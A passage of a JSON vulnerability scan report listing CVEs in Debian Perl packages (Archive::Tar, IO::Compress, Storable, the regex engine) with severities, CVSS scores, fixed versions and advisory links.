hardlinks during archive extraction", "Description": "Archive::Tar versions before 3.08 for Perl extract hardlinks to attacker controlled paths outside the extraction directory.\n\n_make_special_file() passes the tar header's linkname to link() without validating it against absolute paths or .. segments, creating a hardlink that shares the victim file's inode.\n\nA subsequent write through the extracted name modifies the victim file, and the post-extraction chmod, chown, and utime block in _extract_file() (guarded only against symlinks via -l) applies the tar header's mode, owner, and timestamps to the shared inode during extraction alone.", "Severity": "HIGH", "CweIDs": [ "CWE-59", "CWE-732" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:H", "V3Score": 6.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-42497", "https://github.com/jib/archive-tar-new/commit/17c873492a05eddc0de18c1485e0b2cccd5a9158.patch", "https://lists.security.metacpan.org/cve-announce/msg/40396457/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.08/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-42497", "https://www.cve.org/CVERecord?id=CVE-2026-42496", "https://www.cve.org/CVERecord?id=CVE-2026-42497" ], "PublishedDate": "2026-05-26T02:16:40.25Z", "LastModifiedDate": "2026-07-24T11:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-48962", "PkgID": "perl-base@5.40.1-6", "PkgName": "perl-base", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-base@5.40.1-6?arch=amd64\u0026distro=debian-13.6", "UID": "546ba1bdcd66d61" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-48962", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9a810a58cb14bdd26f561d641fca6fa891cd38614693e643232ba965b8fca820", "Title": "perl-IO-Compress: perl-IO-Compress: Arbitrary code execution via attacker-controlled output glob", "Description": "IO::Compress versions before 2.220 for Perl can execute arbitrary code in File::GlobMapper via an attacker-controlled output glob.\n\n_parseOutputGlob() wraps the caller-supplied output glob string in double quotes and stores it in the parser state; _getFiles() then runs the stored expression through eval STRING. A literal double quote in the output glob closes the dquote wrapper, and the characters that follow are evaluated as Perl.\n\nArbitrary Perl in the output glob executes at the calling process's privilege.", "Severity": "HIGH", "CweIDs": [ "CWE-95", "CWE-94" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/27/4", "https://access.redhat.com/errata/RHSA-2026:29182", "https://access.redhat.com/errata/RHSA-2026:29210", "https://access.redhat.com/errata/RHSA-2026:29867", "https://access.redhat.com/errata/RHSA-2026:29941", "https://access.redhat.com/errata/RHSA-2026:30085", "https://access.redhat.com/errata/RHSA-2026:30086", "https://access.redhat.com/errata/RHSA-2026:30115", "https://access.redhat.com/errata/RHSA-2026:30843", "https://access.redhat.com/errata/RHSA-2026:30851", "https://access.redhat.com/errata/RHSA-2026:30858", "https://access.redhat.com/errata/RHSA-2026:30859", "https://access.redhat.com/errata/RHSA-2026:30860", "https://access.redhat.com/errata/RHSA-2026:50262", "https://access.redhat.com/security/cve/CVE-2026-48962", "https://bugzilla.redhat.com/2481767", "https://bugzilla.redhat.com/show_bug.cgi?id=2481767", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-48962", "https://errata.almalinux.org/9/ALSA-2026-30859.html", "https://errata.rockylinux.org/RLSA-2026:30859", "https://github.com/pmqs/IO-Compress/commit/f2db247bf90d4cc7ee2710be384946081f3b4610.patch", "https://linux.oracle.com/cve/CVE-2026-48962.html", "https://linux.oracle.com/errata/ELSA-2026-30860.html", "https://lists.security.metacpan.org/cve-announce/msg/40434385/", "https://metacpan.org/release/PMQS/IO-Compress-2.220/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-48962", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48962.json", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-48962" ], "PublishedDate": "2026-05-27T04:16:31.333Z", "LastModifiedDate": "2026-08-05T13:23:22.46Z" }, { "VulnerabilityID": "CVE-2026-57432", "PkgID": "perl-base@5.40.1-6", "PkgName": "perl-base", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-base@5.40.1-6?arch=amd64\u0026distro=debian-13.6", "UID": "546ba1bdcd66d61" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-57432", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e86fa0be11525bf1656b73dbe585a174a7c3e4fef0598705060345bd478660c5", "Title": "perl: Perl: Information disclosure via integer overflow in pack/unpack operations", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.11 have an integer overflow in S_measure_struct leading to an out-of-bounds heap read in pack and unpack.\n\nS_measure_struct adds each item's size times its repeat count to a running total with no overflow check, so a large repeat count in a pack or unpack template wraps the signed SSize_t total negative. The @, X, and x position codes then guard their moves with a signed length comparison that passes when the length is negative, advancing the buffer pointer out of bounds.\n\nA template derived from untrusted input can read heap memory past the buffer and return it to the caller.", "Severity": "HIGH", "CweIDs": [ "CWE-125", "CWE-190" ], "VendorSeverity": { "amazon": 2, "azure": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N", "V3Score": 5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/6", "https://access.redhat.com/security/cve/CVE-2026-57432", "https://github.com/Perl/perl5/commit/40754edc72dd3e513d758153c0e2f0215897740e.patch", "https://github.com/Perl/perl5/commit/5f7eb6bbbe0510964e3fb1d6bb691e5445913e55.patch", "https://lists.security.metacpan.org/cve-announce/msg/41780102/", "https://nvd.nist.gov/vuln/detail/CVE-2026-57432", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-57432" ], "PublishedDate": "2026-07-13T17:17:55.67Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-57433", "PkgID": "perl-base@5.40.1-6", "PkgName": "perl-base", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-base@5.40.1-6?arch=amd64\u0026distro=debian-13.6", "UID": "546ba1bdcd66d61" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-57433", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9a999ee7472590be268e7c0c82eadd33a7baa72f601cc7b9a537f1bbc98ca7af", "Title": "Storable: Storable: Denial of Service via signed integer overflow in deserialization", "Description": "Storable versions before 3.41 for Perl have a signed integer overflow when deserializing a crafted SX_HOOK record.\n\nretrieve_hook_common reads a signed 32-bit item count from an SX_HOOK record and calls av_extend with that count plus one. A count of I32_MAX wraps the addition to a negative value.\n\nA crafted blob passed to thaw or retrieve triggers the overflow; av_extend receives the negative count and dies with a panic, terminating the deserialization.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "amazon": 2, "azure": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/7", "https://access.redhat.com/security/cve/CVE-2026-57433", "https://github.com/Perl/perl5/commit/e4f681784bcdeaa91ff02a2fa4cdcae5c46779d7.patch", "https://lists.security.metacpan.org/cve-announce/msg/41780100/", "https://nvd.nist.gov/vuln/detail/CVE-2026-57433", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-57433" ], "PublishedDate": "2026-07-13T17:17:55.783Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-9538", "PkgID": "perl-base@5.40.1-6", "PkgName": "perl-base", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-base@5.40.1-6?arch=amd64\u0026distro=debian-13.6", "UID": "546ba1bdcd66d61" }, "InstalledVersion": "5.40.1-6", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-9538", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:837c5e4573d7fa9df7ea132f23ca5d0e9d52246100e95a0b7f177a4f89188fe0", "Title": "perl-Archive-Tar: perl-Archive-Tar: Denial of Service via crafted tar header with large entry size", "Description": "Archive::Tar versions before 3.10 for Perl allow memory exhaustion via attacker controlled entry size field in tar header.\n\n_read_tar() reads each entry's payload with $handle-\u003eread($$data, $block), where $block is derived from the entry's 12-byte size field in the tar header with no upper bound on that value.\n\nA crafted header declaring a multi-gigabyte size causes Perl to allocate a scalar of that size.", "Severity": "HIGH", "CweIDs": [ "CWE-789" ], "VendorSeverity": { "alma": 3, "amazon": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/26/4", "https://access.redhat.com/errata/RHSA-2026:49525", "https://access.redhat.com/security/cve/CVE-2026-9538", "https://bugzilla.redhat.com/2481315", "https://bugzilla.redhat.com/show_bug.cgi?id=2481315", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-9538", "https://errata.almalinux.org/9/ALSA-2026-49525.html", "https://errata.rockylinux.org/RLSA-2026:49525", "https://github.com/jib/archive-tar-new/commit/f9af01426038e29d9578825a0cd3626946ab08c7.patch", "https://linux.oracle.com/cve/CVE-2026-9538.html", "https://linux.oracle.com/errata/ELSA-2026-49525.html", "https://lists.security.metacpan.org/cve-announce/msg/40396448/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.10/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-9538", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-9538" ], "PublishedDate": "2026-05-26T02:16:41.15Z", "LastModifiedDate": "2026-07-23T11:10:00.12Z" }, { "VulnerabilityID": "CVE-2026-13221", "PkgID": "perl-modules-5.40@5.40.1-6", "PkgName": "perl-modules-5.40", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-modules-5.40@5.40.1-6?arch=all\u0026distro=debian-13.6", "UID": "9bd83fa4dd131a41" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-13221", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f2b51b57ca6ef58914d93ecfb24cebe48b07ed6be43deb87ec52d14887c1cfe7", "Title": "perl: Perl: Incorrect regular expression processing via large regular expressions", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.10 produce silently incorrect regular expression matches when an alternation of more than 65535 fixed string branches is compiled into a trie in Perl_study_chunk.\n\nWhen such branches are combined into a trie, the delta between the first branch and the shared tail is stored in a 16-bit field. A branch count above 65535 overflows the field, and the trie's match decision table is truncated with no warning or error.\n\nA pattern of this shape produces false positive matches (matching strings it should not) and false negative matches (failing to match strings it should). When such a pattern gates an access or filtering decision, the result is wrong.", "Severity": "CRITICAL", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 2, "amazon": 2, "azure": 2, "nvd": 4, "oracle-oval": 2, "photon": 4, "redhat": 2, "rocky": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N", "V3Score": 5.9 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/5", "https://access.redhat.com/errata/RHSA-2026:67155", "https://access.redhat.com/security/cve/CVE-2026-13221", "https://bugzilla.redhat.com/2499727", "https://bugzilla.redhat.com/show_bug.cgi?id=2499727", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13221", "https://errata.almalinux.org/9/ALSA-2026-67155.html", "https://errata.rockylinux.org/RLSA-2026:67155", "https://github.com/Perl/perl5/commit/03f74bbbd3a68350d926ee93d56ee4808c28c4c7.patch", "https://github.com/Perl/perl5/issues/23388", "https://linux.oracle.com/cve/CVE-2026-13221.html", "https://linux.oracle.com/errata/ELSA-2026-67278-0.html", "https://lists.security.metacpan.org/cve-announce/msg/41780104/", "https://nvd.nist.gov/vuln/detail/CVE-2026-13221", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-13221" ], "PublishedDate": "2026-07-13T17:16:48.923Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-42496", "PkgID": "perl-modules-5.40@5.40.1-6", "PkgName": "perl-modules-5.40", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-modules-5.40@5.40.1-6?arch=all\u0026distro=debian-13.6", "UID": "9bd83fa4dd131a41" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42496", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fb8e5ce3f881d3b22eb7422c6d4f79323a529ffb77a095e541600bb525a3cdaf", "Title": "perl-archive-tar: perl-archive-tar: Path traversal via crafted symlinks allows arbitrary file access", "Description": "Archive::Tar versions before 3.08 for Perl extract symlinks with attacker controlled targets outside the extraction directory.\n\n_make_special_file() passes the tar header's linkname to symlink() without validating it against absolute paths or .. segments. The secure-extract mode check that guards regular file extraction does not cover the symlink target.\n\nA subsequent open through the extracted name reads or writes the attacker chosen path.", "Severity": "CRITICAL", "CweIDs": [ "CWE-59", "CWE-22" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "nvd": 4, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:30851", "https://access.redhat.com/errata/RHSA-2026:30852", "https://access.redhat.com/errata/RHSA-2026:30856", "https://access.redhat.com/errata/RHSA-2026:30857", "https://access.redhat.com/security/cve/CVE-2026-42496", "https://bugzilla.redhat.com/2481314", "https://bugzilla.redhat.com/show_bug.cgi?id=2481314", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42496", "https://errata.almalinux.org/9/ALSA-2026-30856.html", "https://errata.rockylinux.org/RLSA-2026:30856", "https://github.com/jib/archive-tar-new/commit/17c873492a05eddc0de18c1485e0b2cccd5a9158.patch", "https://linux.oracle.com/cve/CVE-2026-42496.html", "https://linux.oracle.com/errata/ELSA-2026-30857.html", "https://lists.security.metacpan.org/cve-announce/msg/40396459/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.08/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-42496", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42496.json", "https://ubuntu.com/security/notices/USN-8467-1", "https://www.cve.org/CVERecord?id=CVE-2026-42496", "https://www.cve.org/CVERecord?id=CVE-2026-42497" ], "PublishedDate": "2026-05-26T02:16:40.13Z", "LastModifiedDate": "2026-07-24T10:10:00.197Z" }, { "VulnerabilityID": "CVE-2026-8376", "PkgID": "perl-modules-5.40@5.40.1-6", "PkgName": "perl-modules-5.40", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-modules-5.40@5.40.1-6?arch=all\u0026distro=debian-13.6", "UID": "9bd83fa4dd131a41" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8376", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:dd70753cbbe57ebbe04a6f268f91f72cade46da4505a43f66d68c5ac3f755eab", "Title": "perl: Perl: Heap buffer overflow when compiling regular expressions on 32-bit builds", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.11 have a heap buffer overflow when compiling regular expressions with a repeated fixed string on 32-bit builds.\n\nPerl_study_chunk in regcomp_study.c checked the size of the joined substring buffer in characters rather than bytes. For a quantified fixed substring with a large minimum count, the byte length mincount * l could overflow SSize_t, producing an undersized SvGROW allocation; the subsequent copy writes past the end of the buffer.\n\nA caller that compiles an attacker-controlled regular expression on a 32-bit perl build triggers a heap buffer overflow at compile time.", "Severity": "CRITICAL", "CweIDs": [ "CWE-680" ], "VendorSeverity": { "amazon": 2, "azure": 2, "nvd": 4, "photon": 4, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H", "V3Score": 5.7 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/26/1", "https://access.redhat.com/security/cve/CVE-2026-8376", "https://github.com/Perl/perl5/commit/5e7f119eb2bb1181be908701f22bf7068e722f1c.patch", "https://github.com/Perl/perl5/pull/24433", "https://nvd.nist.gov/vuln/detail/CVE-2026-8376", "https://ubuntu.com/security/notices/USN-8467-1", "https://www.cve.org/CVERecord?id=CVE-2026-8376" ], "PublishedDate": "2026-05-26T00:16:57.15Z", "LastModifiedDate": "2026-09-08T22:19:18.373Z" }, { "VulnerabilityID": "CVE-2026-42497", "PkgID": "perl-modules-5.40@5.40.1-6", "PkgName": "perl-modules-5.40", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-modules-5.40@5.40.1-6?arch=all\u0026distro=debian-13.6", "UID": "9bd83fa4dd131a41" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42497", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:36c37eb99b7305fd71de0e302f5f0431286c859967e3d1d0cdb1be7502e4b948", "Title": "perl-Archive-Tar: perl-Archive-Tar: Arbitrary file modification via crafted hardlinks during archive extraction", "Description": "Archive::Tar versions before 3.08 for Perl extract hardlinks to attacker controlled paths outside the extraction directory.\n\n_make_special_file() passes the tar header's linkname to link() without validating it against absolute paths or .. segments, creating a hardlink that shares the victim file's inode.\n\nA subsequent write through the extracted name modifies the victim file, and the post-extraction chmod, chown, and utime block in _extract_file() (guarded only against symlinks via -l) applies the tar header's mode, owner, and timestamps to the shared inode during extraction alone.", "Severity": "HIGH", "CweIDs": [ "CWE-59", "CWE-732" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:H", "V3Score": 6.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-42497", "https://github.com/jib/archive-tar-new/commit/17c873492a05eddc0de18c1485e0b2cccd5a9158.patch", "https://lists.security.metacpan.org/cve-announce/msg/40396457/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.08/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-42497", "https://www.cve.org/CVERecord?id=CVE-2026-42496", "https://www.cve.org/CVERecord?id=CVE-2026-42497" ], "PublishedDate": "2026-05-26T02:16:40.25Z", "LastModifiedDate": "2026-07-24T11:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-48962", "PkgID": "perl-modules-5.40@5.40.1-6", "PkgName": "perl-modules-5.40", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-modules-5.40@5.40.1-6?arch=all\u0026distro=debian-13.6", "UID": "9bd83fa4dd131a41" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-48962", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:87d66bab8918dc26e3d1e392a89f7a357bb405639fc3100b5381f14478ad13d2", "Title": "perl-IO-Compress: perl-IO-Compress: Arbitrary code execution via attacker-controlled output glob", "Description": "IO::Compress versions before 2.220 for Perl can execute arbitrary code in File::GlobMapper via an attacker-controlled output glob.\n\n_parseOutputGlob() wraps the caller-supplied output glob string in double quotes and stores it in the parser state; _getFiles() then runs the stored expression through eval STRING. A literal double quote in the output glob closes the dquote wrapper, and the characters that follow are evaluated as Perl.\n\nArbitrary Perl in the output glob executes at the calling process's privilege.", "Severity": "HIGH", "CweIDs": [ "CWE-95", "CWE-94" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/27/4", "https://access.redhat.com/errata/RHSA-2026:29182", "https://access.redhat.com/errata/RHSA-2026:29210", "https://access.redhat.com/errata/RHSA-2026:29867", "https://access.redhat.com/errata/RHSA-2026:29941", "https://access.redhat.com/errata/RHSA-2026:30085", "https://access.redhat.com/errata/RHSA-2026:30086", "https://access.redhat.com/errata/RHSA-2026:30115", "https://access.redhat.com/errata/RHSA-2026:30843", "https://access.redhat.com/errata/RHSA-2026:30851", "https://access.redhat.com/errata/RHSA-2026:30858", "https://access.redhat.com/errata/RHSA-2026:30859", "https://access.redhat.com/errata/RHSA-2026:30860", "https://access.redhat.com/errata/RHSA-2026:50262", "https://access.redhat.com/security/cve/CVE-2026-48962", "https://bugzilla.redhat.com/2481767", "https://bugzilla.redhat.com/show_bug.cgi?id=2481767", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-48962", "https://errata.almalinux.org/9/ALSA-2026-30859.html", "https://errata.rockylinux.org/RLSA-2026:30859", "https://github.com/pmqs/IO-Compress/commit/f2db247bf90d4cc7ee2710be384946081f3b4610.patch", "https://linux.oracle.com/cve/CVE-2026-48962.html", "https://linux.oracle.com/errata/ELSA-2026-30860.html", "https://lists.security.metacpan.org/cve-announce/msg/40434385/", "https://metacpan.org/release/PMQS/IO-Compress-2.220/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-48962", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48962.json", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-48962" ], "PublishedDate": "2026-05-27T04:16:31.333Z", "LastModifiedDate": "2026-08-05T13:23:22.46Z" }, { "VulnerabilityID": "CVE-2026-57432", "PkgID": "perl-modules-5.40@5.40.1-6", "PkgName": "perl-modules-5.40", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-modules-5.40@5.40.1-6?arch=all\u0026distro=debian-13.6", "UID": "9bd83fa4dd131a41" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-57432", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2c61396871f4dbb0549e86b2966593f6bc812c73f08e7d3262d4f46ecbb5c3d3", "Title": "perl: Perl: Information disclosure via integer overflow in pack/unpack operations", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.11 have an integer overflow in S_measure_struct leading to an out-of-bounds heap read in pack and unpack.\n\nS_measure_struct adds each item's size times its repeat count to a running total with no overflow check, so a large repeat count in a pack or unpack template wraps the signed SSize_t total negative. The @, X, and x position codes then guard their moves with a signed length comparison that passes when the length is negative, advancing the buffer pointer out of bounds.\n\nA template derived from untrusted input can read heap memory past the buffer and return it to the caller.", "Severity": "HIGH", "CweIDs": [ "CWE-125", "CWE-190" ], "VendorSeverity": { "amazon": 2, "azure": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N", "V3Score": 5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/6", "https://access.redhat.com/security/cve/CVE-2026-57432", "https://github.com/Perl/perl5/commit/40754edc72dd3e513d758153c0e2f0215897740e.patch", "https://github.com/Perl/perl5/commit/5f7eb6bbbe0510964e3fb1d6bb691e5445913e55.patch", "https://lists.security.metacpan.org/cve-announce/msg/41780102/", "https://nvd.nist.gov/vuln/detail/CVE-2026-57432", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-57432" ], "PublishedDate": "2026-07-13T17:17:55.67Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-57433", "PkgID": "perl-modules-5.40@5.40.1-6", "PkgName": "perl-modules-5.40", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-modules-5.40@5.40.1-6?arch=all\u0026distro=debian-13.6", "UID": "9bd83fa4dd131a41" }, "InstalledVersion": "5.40.1-6", 